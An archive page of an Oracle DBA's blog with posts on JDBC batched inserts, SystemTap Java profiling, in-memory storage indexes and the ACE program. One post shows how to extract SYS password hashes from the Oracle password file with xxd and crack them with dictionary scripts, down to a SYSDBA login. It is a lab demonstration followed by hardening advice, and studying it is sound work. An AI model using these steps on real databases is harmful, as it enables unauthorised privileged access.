Oracle … as usual

Oracle by Laurent Leturgez

Category Archives: Oracle

Insert data in Oracle with Java … Batched mode.

Problem / Context

Today, I worked on a performance issue at my customer. The context is a Java app which did a processing and at the end of this processing, the application inserts tons of data on an Oracle database.

The customers was complaining about slow performance on the insertion phase and asked me to have a look on it.

Database was IO Bound, and many sessions were doing some one-row inserts on various tables (INSERT INTO … VALUES (:1, :2, …) ). These one-row insert were off course processed many times, and oracle session’s stats was reporting a high number of executions.

On the Java side

As an Oracle DBA or Developer, we all know that, with PLSQL, it’s easy to write a FORALL loop that will bulk insert the data, and then reduce execution time. To do that, you need to have a cursor which is read in bulkl (BULK COLLECT) and each part is then inserted in the database. This reduces the number of operations, loops etc.


DECLARE
CURSOR s_cur IS
SELECT *
FROM servers;

TYPE fetch_array IS TABLE OF s_cur%ROWTYPE;
s_array fetch_array;
BEGIN
OPEN s_cur;
LOOP
FETCH s_cur BULK COLLECT INTO s_array LIMIT 1000;

FORALL i IN 1..s_array.COUNT
INSERT INTO servers2 VALUES s_array(i);

EXIT WHEN s_cur%NOTFOUND;
END LOOP;
CLOSE s_cur;
COMMIT;
END;
/

Source: http://psoug.org/snippet/FORALL-Insert_499.htm

In Java, the problem can be different because the data processed by your app are not necesseraly coming from a database.

Usually, statements are prepared, variables are attached and the statement is executed. When it’s done in a loop, it looks something like that:


try{
         DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
         Connection c = DriverManager.getConnection ("jdbc:oracle:thin:@192.168.99.8:1521:orcl","laurent","laurent");
         PreparedStatement stmt = c.prepareStatement("insert into emp(employee_id,first_name,last_name,salary) values (?,?,?,?)");
         start=System.currentTimeMillis();

         for (int i=0 ; i < 50000 ; i++) {
                  stmt.setInt(1,i);
                  stmt.setString(2,generateRandomChars("01234567890ABCDEF",16));
                  stmt.setString(3,generateRandomChars("01234567890ABCDEF",16));
                  stmt.setInt(4,r.nextInt(10000+1)+5000);
                  stmt.executeUpdate();
         }
         stop=System.currentTimeMillis();
         System.out.println("time = "+(stop-start));
         stmt.close();
         c.close();
   }
   catch(Exception e){
      System.err.println(e);
      e.printStackTrace();
   }

The problem is the statement is sent to the database 50000 times, and then increase number of operation between the database and the application. As a result, execution time is high (this demo has been executed on a VM on my laptop):

[oracle@oel6 JAVA]$ time java -cp $CLASSPATH:ojdbc7.jar:. TestNoBatchedInsert
time = 75430

real    1m16.514s
user    0m5.279s
sys     0m1.080s

As for PLSQL, there is a technique to write a beautiful and powerful java code that will process inserts by batchs, and then reduce the number of loops, calls between database and application etc.

To do that, instead of using executeStatement method X times, we can use the addBatch method that will create a “batch” which will be executed on the database when PreparedStatement’s method “executeBatch” will be called.

If you’re familiar with FORALL in PLSQL, you probably know that, the more the batchsize is big, the more memory you will use. In Java, it will be the same and the result will be a bigger heap size, that’s why it’s recommended to define a batch size and each time your batch will reach a max size, the batch will be executed. This can be done like this:

try{
        DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
        Connection c = DriverManager.getConnection ("jdbc:oracle:thin:@192.168.99.8:1521:orcl","laurent","laurent");
        PreparedStatement stmt = c.prepareStatement("insert into emp(employee_id,first_name,last_name,salary) values (?,?,?,?)");
        start=System.currentTimeMillis();

        int batchSize=5000;
        int count=0;
        for (int i=0 ; i < 50000 ; i++) {
                stmt.setInt(1,i);
                stmt.setString(2,generateRandomChars("01234567890ABCDEF",16));
                stmt.setString(3,generateRandomChars("01234567890ABCDEF",16));
                stmt.setInt(4,r.nextInt(10000+1)+5000);
                stmt.addBatch();

                if (++count % batchSize == 0) {
                        stmt.executeBatch();
                }
        }

        stop=System.currentTimeMillis();
        System.out.println("time = "+(stop-start));
        stmt.close();
        c.close();
}
catch(Exception e){
  System.err.println(e);
  e.printStackTrace();
}

Now, if I run this program, wall time is not really the same scale:

[oracle@oel6 JAVA]$ time java -cp $CLASSPATH:ojdbc7.jar:. TestBatchedInsert
time = 598

real    0m1.964s
user    0m3.393s
sys     0m0.269s

On the database side

AWR Reports show many things:

  • First,  if we run the java sample codes as they are described, the no batch mode will commit the database after each execute update. As a result, log file switch event will increase:

Non batched inserts:

Top 10 Foreground Events by Total Wait Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                           Total Wait       Wait   % DB Wait
Event                                Waits Time (sec)    Avg(ms)   time Class
------------------------------ ----------- ---------- ---------- ------ --------
log file sync                       49,999         64       1.28   86.8 Commit
DB CPU                                            9.3              12.6
db file sequential read                 47          0       0.97     .1 User I/O
SQL*Net message to client           50,012          0       0.00     .1 Network
log file switch completion               1          0      27.60     .0 Configur
undo segment extension                   2          0       5.16     .0 Configur
direct path write                        3          0       1.08     .0 User I/O
direct path sync                         1          0       3.15     .0 User I/O
Disk file operations I/O                19          0       0.04     .0 User I/O
control file sequential read           194          0       0.00     .0 System I

Batched inserts:

Top 10 Foreground Events by Total Wait Time
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                           Total Wait       Wait   % DB Wait
Event                                Waits Time (sec)    Avg(ms)   time Class
------------------------------ ----------- ---------- ---------- ------ --------
DB CPU                                             .3              72.9
SQL*Net more data from client          268          0       0.17   10.1 Network
log file sync                           13          0       3.29    9.5 Commit
db file sequential read                 49          0       0.37    4.0 User I/O
Disk file operations I/O                17          0       0.03     .1 User I/O
control file sequential read           134          0       0.00     .1 System I
SQL*Net more data to client             10          0       0.02     .1 Network
SQL*Net message to client               22          0       0.00     .0 Network
log file single write                    0          0                .0 System I
asynch descriptor resize                 0          0                .0 Other
  • Then, due to batched process, number of buffer gets is reduced when batched inserts are used

Non batched inserts:

Segments by Logical Reads                   DB/Inst: ORCL/orcl  Snaps: 200-201
-> Total Logical Reads:         212,288
-> Captured Segments account for   28.4% of Total
-> When ** MISSING ** occurs, some of the object attributes may not be available

                     Tablespace
Owner                   Name
-------------------- ----------
                     Subobject  Obj.                             Logical
Object Name            Name     Type        Obj#   Dataobj#        Reads  %Total
-------------------- ---------- ----- ---------- ---------- ------------ -------
LAURENT              USERS
EMP                             TABLE      93857      93860       52,576   24.77

Batched inserts:
Segments by Logical Reads                   DB/Inst: ORCL/orcl  Snaps: 201-202
-> Total Logical Reads:          11,792
-> Captured Segments account for   83.0% of Total
-> When ** MISSING ** occurs, some of the object attributes may not be available

                     Tablespace
Owner                   Name
-------------------- ----------
                     Subobject  Obj.                             Logical
Object Name            Name     Type        Obj#   Dataobj#        Reads  %Total
-------------------- ---------- ----- ---------- ---------- ------------ -------
LAURENT              USERS
EMP                             TABLE      93857      93860        3,504   29.72
  • Same for buffer gets. Execution number is less for batched inserts (number of execution depends on your batch size)

Non batched inserts:

     Buffer                 Gets              Elapsed
      Gets   Executions   per Exec   %Total   Time (s)  %CPU   %IO    SQL Id
----------- ----------- ------------ ------ ---------- ----- ----- -------------
    152,587      50,000          3.1   71.9        2.1  11.3     0 7c9ws5uvx9nyc
Module: JDBC Thin Client
insert into emp(employee_id,first_name,last_name,salary) values (:1 ,:2 ,:3 ,:4
)

Batched inserts:

     Buffer                 Gets              Elapsed
      Gets   Executions   per Exec   %Total   Time (s)  %CPU   %IO    SQL Id
----------- ----------- ------------ ------ ---------- ----- ----- -------------
      3,669          10        366.9   31.1        0.1    57     0 7c9ws5uvx9nyc
Module: JDBC Thin Client
insert into emp(employee_id,first_name,last_name,salary) values (:1 ,:2 ,:3 ,:4)

 

When developer have to insert tons on data from a java app, it’s better when they used the best way to do it …. batched inserts have to be used in that case, it will help the database to be more powerful.

That’s it for today 😉

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Profiling Java Application with Systemtap

A couple of days ago, I read this tweet from Tanel Poder :

I’m not a JVM internals geek but I was sure there was a way to do the job without restarting the JVM, and I found some cool stuff with Systemtap.

To do this, you have to install two packages on your linux distribution: systemtap and systemtap-runtime-java (and configure correctly your user environment):

[root@spark ~]# yum install systemtap systemtap-runtime-java

Please note that I used a CentOS 7.4 distribution.

Then, and for the demo, I wrote a very small piece of Java that do these steps:

  1. Prints the JVM PID
  2. Wait for a key to be pressed. During this time, you will have to execute the systemtap script I will described later.
  3. Execute a loop ten times, each loop with print a message and wait one second, and this last step is executed in a method name “loop_and_wait”.

Here’s the sample code:


package com.premiseo;

import java.lang.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;

class Example {
   public static void loop_and_wait(int n) throws InterruptedException{
           System.out.println("Waiting "+n+"ms... Tick");
           Thread.sleep(n);
        }

   public static void main(String[] args) {

      System.out.println("PID = "+java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
      System.out.println("Press any key when ready ...");

      try {
        BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
        String next = in.readLine();
      }
      catch (IOException ioe) {
        ioe.printStackTrace();
      }

      try {
        for (int i=0;i<10;i++) {
           loop_and_wait(1000);
        }
      }
      catch (InterruptedException ie) {
        ie.printStackTrace();
      }
   }
}

Then, compile and execute … very basic I said 😉

[spark@spark java]$ javac -cp $CLASSPATH:. com/premiseo/Example.java
[spark@spark java]$ java -cp $CLASSPATH:. com.premiseo.Example
PID = 9928
Press any key when ready ...

Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick

Now, to answer to Tanel, I used a short systemtap script that will profile the program and specially the loop_and_wait method. I will count the number of times the loop_and_wait method has been called, and I will account the time spent in this method execution.

To do that, I had to write two probes related to:

  • the full name of the class, including the package name: com.premiseo.Example
  • the class name where the method is defined: Example
  • the method name I want to profile: loop_and_wait

The first one will be executed when the program will start to execute the targeted method (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”)), the second one will be executed when the method will return (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”).return)

The related systemtap script is given below:

#!/usr/bin/env stap

global counter,timespent,t

probe begin {
  printf("Press Ctrl+C to stop profiling\n")
  counter=0
  timespent=0
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  counter++
  t=gettimeofday_ms()
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait").return
{
  timespent+=gettimeofday_ms()-t
}

probe end {
   printf("Number of calls for loop_and_wait method: %ld \n",    counter)
   printf("Time Spent in method loop_and_wait: %ld msecs \n", timespent)
}

Execution of this systemtap script gave the following result (click the image for full size):

Is it dynamic? Yes, no need to restart the running JVM process you want to target. If you want to target a specific JVM process id, you can use the stap’s “-x” option, add the modify your probe definition like this:

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  if (pid() == target())
    counter++
    t=gettimeofday_ms()
}

There’s a limitation, you cannot use wilcards in the java probe definition (java(“com.premiseo.Example”).class(“Example”).method(“loop*”) … for example). That would have been useful to profile a set of methods in the same class … but not possible currently.

If you want to read more about this kind of stuff, please read the following websites:

And … that’s all for today !! 😉

 

 

Brute forcing the Oracle Password file

If you want to remotely connect to your Oracle instance as sysdba, by default (ie. remote_login_passwordfile=EXCLUSIVE), you will probably use the password file (located in $ORACLE_HOME/dbs) to identify the SYS user.

Below, I used auditd to show that the password file is read by the server process when connecting remotely:

[oracle@oel6 ~]$ sudo service auditd status
auditd (pid  2422) is running...

[oracle@oel6 ~]$ sudo auditctl -l
No rules

[oracle@oel6 ~]$ sudo auditctl -w $ORACLE_HOME/dbs/orapworcl -p r
[oracle@oel6 ~]$ sudo auditctl -l
-w /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl -p r
[oracle@oel6 ~]$ sqlplus sys@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 09:14:52 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

[oracle@oel6 ~]$ sudo ausearch -f $ORACLE_HOME/dbs/orapworcl | grep -A 2 '^type=PATH'
type=PATH msg=audit(1513326435.361:310): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:310):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:310): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:311): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:311):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:311): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:312): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:312):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:312): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=7ffe8aaf9c70 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:313): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:313):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:313): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:314): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:314):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:314): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:315): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:315):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:315): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:316): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:316):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:316): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:317): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:317):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:317): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
[oracle@oel6 ~]$ ps -ef | grep 7840
oracle    7840     1  0 09:27 ?        00:00:00 oracleorcl (LOCAL=NO)

So, if we have a closer look to this binary file, we can find various password hashes. In my example, I configured my sqlnet with SQLNET.ALLOWED_LOGON_VERSION_SERVER=11. As a result, my password file contains 10g, 11g and 12c password hashes for the SYS user.

Below, I used xxd linux command with specific offsets on my password file to get the password hashes (in bold in the output):

  • 10g sys password hash
[oracle@oel6 ~]$ xxd -c16 -g0 -s +0x0484 -l 16 $ORACLE_HOME/dbs/orapworcl
0000484: 32363235343335323638333944303441 262543526839D04A
  • 11g sys password hash
[oracle@oel6 ~]$ xxd -c30 -g0 -s +0x04ac -l 30 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314 *.....o3.I..H.......>.....^.S.

First part (20 first bytes): SHA1 digest

[oracle@oel6 ~]$ xxd -c20 -g0 -s +0x04ac -l 20 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f9 *.....o3.I..H.......

Second part (10 next bytes): Salt used by Oracle

[oracle@oel6 ~]$ xxd -c10 -g0 -s +0x4C0 -l 10 $ORACLE_HOME/dbs/orapworcl
00004c0: 3ef3c5da13ca5eb95314 >.....^.S.
  • 12c sys password hash
[oracle@oel6 ~]$ xxd -c80 -g0 -s +0x04CA -l 80 $ORACLE_HOME/dbs/orapworcl
00004ca: ad84face7a337c03baacca0bc63f97068e51edd0d6c53826ce8c347594a2800f92c736b4c83239fa47414ff2f68f45304b016ae215ed595c8b71c3c5a0ca3a0630e931d0f7d3929c9a6fb131f2fa0427 ....z3|......?...Q....8&..4u......6..29.GAO...E0K.j...Y\.q....:.0.1......o.1...'

Note: if you use the default configuration of oracle 12.2, you will only find 11g and 12c hashes.

 

Once these hashes have been found, I wrote some python scripts to brute force with a dictionary file to guess the password. Those scripts are available at this URL: https://github.com/lolo115/oracrack

First of all, I used the ora10g_hash_bf.py against the 10g hash to find the case insensitive password:

[oracle@oel6 sec]$ ./ora10g_hash_bf.py dict.txt sys 262543526839D04A
DICTFILE = dict.txt
USERNAME = sys
HASH     = 262543526839D04A
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: rockyou
------
Be careful, the found password is case insensitive. The real password can include upper character(s)
Now generate all combinations for this password and run ora11g_hash_bf.py script to find the case sensitive password

Ok, the password is weak and the program found it in the dictionary file, but if we try it on our database, it fails because I used a sqlplus 12.2 client that use case sensitive passwords (and my SQLNET client configuration is the default one):

$ sqlplus sys/rockyou@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:06:37 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

ERROR:
ORA-01017: invalid username/password; logon denied

So, now as I know that the sys password is something like “rockyou” with upper and lower characters in it, I will use my “gen_all_comb.py” script to generate my own dictionary file that will contains all the combination for the “rockyou” password:

[oracle@oel6 sec]$ ./gen_all_comb.py rockyou > mydict.txt
[oracle@oel6 sec]$ head mydict.txt
rockyou
rockyoU
rockyOu
rockyOU
rockYou
rockYoU
rockYOu
rockYOU
rocKyou
rocKyoU
.../...

As the last operation, I have to use the ora11g_hash_bf.py script against the 11g hash (which is case sensitive) with my previously generated dictionary (mydict) and the script will find the correct password:

[oracle@oel6 sec]$ ./ora11g_hash_bf.py mydict.txt sys 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
DICTFILE = mydict.txt
USERNAME = sys
HASH     = 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: RocKyoU

So let’s try:

[oracle@oel6 sec]$ sqlplus sys/RocKyoU@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:12:17 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL>

In this blog post, I described how to brute force SYS password that is stored in the password file without trying to connect number of times to the database and lock account etc. Please note that, I didn’t read at any time the USER$ table too.

To avoid this, you can simply disable password file usage by setting remote_login_passwordfile to NONE and remove this password file. You can set a SYS password  that is not weak (or use a password function with a profile etc.), there are too many customers that are still setting sys password to oracle, oracle123 or welcome1 ….

Finally, I didn’t write anything about the 12c hash (SHA512) because it’s a bit more complicated. Oracle 12c used a SCRAM authentication dialog, so first, you have to listen to the client/server network dialog, get some authentication keys and then run your own script. More, the 12c hash generation process uses PBKDF2 key derivation function that is a de-optimized function. As a consequence, it will slow down the execution rate of your script. So if you want to secure your 12c authentication process and avoid password brute force, you have to use only a 12c hash password (in your password file and into USER$ table), encrypt your network dialog with AES192 algorithm (starting with 12c, it can be done even in Standard Edition), use non weak passwords.

I will terminate this blog post with the traditional disclaimer … use all that is written in this blog post (including scripts) at your own risk. If you use all this stuff to hack a SYS password without any authorization … you will be the only responsible for all the consequences ! 😉

Oracle ACE: First year in the program

Yesterday, I celebrated my first year in the Oracle ACE Program. I have been nominated by Mohamed Houri and supported by very well known and brilliant people in the Oracle Community (Kellyn Potvin Gorman, Tanel Poder, Deiby Gomez, Franck Pachot and Ludovico Caldara), and during this last year, I had to participate actively in the community.

If you’re reading this post and you are interested by Oracle Technology, I will try to explain why joining (or participating) to it is a good thing for everyone, you, Oracle, and all the Oracle professionals.

 The ACE Program

Oracle ACE program recognizes all the people who are working with Oracle products (and not specially with their badass Cloud platform !!), who talk about their experiences and knowledges, who give regular help to customers across forums, blogs etc.

As Tim Hall mentioned it in a post I read a couple of months ago, you don’t have to be a fellow expert on a technology to be recognized in this program. And even, Oracle want to use this program to promote their badass Cloud Platform, you don’t have to talk about it, in all what you write.

In the program, there are 3 levels: ACE Associate, ACE, and ACE Director. Explanation of these levels are given in the ACE Program website (http://www.oracle.com/technetwork/community/oracle-ace/become-an-ace/index.html#acelevels).

Recently I have validated my award and I will probably remain in the program for the next year.

Why to join (or participate) to the Oracle Community?

First of all, you can participate to the Oracle Community without being an ACE.

You can participate to the community by many ways:

  • you can blog on your experiences and knowledge
  • you can test or review some specific products in the Oracle products’ portfolio
  • you can write articles and submit them in OTN or Oracle related papers (OracleScene from UKOUG for example)
  • you can tweet about the technology
  • you can help other users in Oracle forums
  • You can organize meetups or public meetings
  • You can create and/or participate to one or many Oracle User Groups
  • You can present some technical stuff during Oracle International Conferences or meetups
  • etc etc.

In my case, I like to attend Oracle Conferences because I like to present session during these ones, but the most interesting thing is to share time, technical opinions (and beers) with speakers, blogger, fellow experts etc. (I’m not a big fan of these marketing events where sales and marketing people are the kings because they sell or promote Oracle products, and you suck because you are just a simple technical guy).

During these technical conferences, you usually attend sessions (sometimes up to 6 per day) and those ones are always interesting because you chose them before ! You learn a lot about other projects that have been done in other countries etc. To sum up … you learn a lot, surrounded by the most brilliant people in the Oracle world !!

Then I like to organize meetup in my area to present some of my work and to invite international speakers that want to present their work, we talk about our experiences, we drink some great belgian and french beers and share some pizzas … like at home, the only difference is that we are not watching a football game but we are talking about Oracle products !

Another interesting thing, but a little more under the hood, is to interact with people by using modern social tools (twitter, blogs, and sometimes email). Recently, I worked with Pieter Van Puymbroeck (@vanpupi). First he asked me to borrow a java source code I wrote a couple of years ago. No matter with that, but after some code enhancements (yes, my code was a bit crappy ! 🙂 ), he encountered some problems to reproduce what I did. I was my great pleasure to work on the code with him and to review his platform (and mine too) to discover finally where the problem was. What a great experience to share knowledge with other people !

 

Now I start my second year in the program and I hope it will be as rich as the first one of knowledge sharing. And I hope I will continue to learn about technologies with other people.

Get the min and max value of your In Memory Storage Indexes

Yesterday, I read a blog post from Maria Colgan (https://sqlmaria.com/2017/02/21/oracle-storage-index/) who described why you will not always see the benefits of In memory Storage Indexes.

I won’t re-write Maria’s post but to sum up, Oracle doesn’t sort the data to build IMCUs, as a result min and max values of the storage indexes are not very selective. I’ve explained this in my SIMD related presentation (available here: https://www.slideshare.net/lolo115/ukoug15-simd-outside-and-inside-oracle-12c-12102, See. Slides 22 and 23).

To go further, we can find a bunch of views, oops a bunch of undocumented views, related to IM segments, Compression units and SMUs.  (See doc bug in MOS: Bug 19361690 : SEVERAL V$ VIEWS FOR INMEMORY ARE NOT DOCUMENTED, Bug doesn’t seem to be fixed in 12.2)

If you have a look at these views, they contains a lot of very interesting things, and specially the min and max values for every IMCUs and columns inside.

In the below example, I took the same kind of example that Maria described.

First, I created two tables loaded in the IM store. Those tables are based on SH.SALES table, the first one is not sorted, the second is ordered by AMOUNT_SOLD :

SQL> create table s inmemory no memcompress priority critical as select * from sh.sales;

SQL> create table s2 inmemory no memcompress priority critical as select * from sh.sales order by amount_sold;

SQL> @IM_seg
Enter value for owner: LAURENT
Enter value for segment_name:

OWNER       SEGMENT_NAME    PARTITION_NAM TABLESPACE_NAME INMEMORY_SIZE      BYTES BYTES_NOT_POPULATED POPULATE_ INMEMORY INMEMORY_COMPRESS
----------- --------------- ------------- --------------- ------------- ---------- ------------------- --------- -------- -----------------
LAURENT     S                             USERS                28966912   37748736                   0 COMPLETED CRITICAL NO MEMCOMPRESS
LAURENT     S2                            USERS                28966912   37748736                   0 COMPLETED CRITICAL NO MEMCOMPRESS
                                                          -------------
sum                                                            57933824

Then, I used a script of mine based on one of these undocumented stuff, the V$IM_COL_CU view that gives us min and max values for each column in the IMCUs.

SQL> @IM_IMCU_stats
Enter value for tab_owner: LAURENT
Enter value for tab_name: S
Enter value for column_name: AMOUNT_SOLD

IMCU_ADDR                  OBJD ONAME                COLUMN_NAME                    DATA_TYPE  DICTIONARY_ENTRIES MIN_VAL         MAX_VAL
-------------------- ---------- -------------------- ------------------------------ ---------- ------------------ --------------- ---------------
00000000610FFF70          94467 S                    AMOUNT_SOLD                    NUMBER                      0 7.14            1520.39
00000000613FFF70          94467 S                    AMOUNT_SOLD                    NUMBER                      0 7.22            1533.38
00000000616FFF70          94467 S                    AMOUNT_SOLD                    NUMBER                      0 6.83            1566.01
00000000619FFF70          94467 S                    AMOUNT_SOLD                    NUMBER                      0 6.4             1598.63
0000000061CFFF70          94467 S                    AMOUNT_SOLD                    NUMBER                      0 6.54            1738.43
0000000076000000          94467 S                    AMOUNT_SOLD                    NUMBER                      0 6.54            1738.43
0000000076300000          94467 S                    AMOUNT_SOLD                    NUMBER                      0 6.54            1782.72
0000000076600000          94467 S                    AMOUNT_SOLD                    NUMBER                      0 7.13            1782.72
0000000076900000          94467 S                    AMOUNT_SOLD                    NUMBER                      0 7.13            1753.2

9 rows selected.

-- -------------------------------------

SQL> @IM_IMCU_stats
Enter value for tab_owner: LAURENT
Enter value for tab_name: S2
Enter value for column_name: AMOUNT_SOLD

IMCU_ADDR                  OBJD ONAME                COLUMN_NAME                    DATA_TYPE  DICTIONARY_ENTRIES MIN_VAL         MAX_VAL
-------------------- ---------- -------------------- ------------------------------ ---------- ------------------ --------------- ---------------
0000000071FFFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 481             1782.72
00000000721FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 69.08           481
00000000724FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 51.43           69.08
00000000727FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 46.31           51.43
0000000072AFFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 32.35           46.31
0000000072DFFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 24.24           32.35
00000000730FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 17.79           24.24
00000000733FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 10.79           17.79
00000000736FFFE8          94469 S2                   AMOUNT_SOLD                    NUMBER                      0 6.4             10.79

9 rows selected.

We can clearly see that S2 table has been ordered by AMOUNT_SOLD, and if I count the number of lines with a value of AMOUNT_SOLD equal to 20, S table (unordered) will read all IMCUs (9), a query againt S2 will prune 8 of the 9 IMCUs.

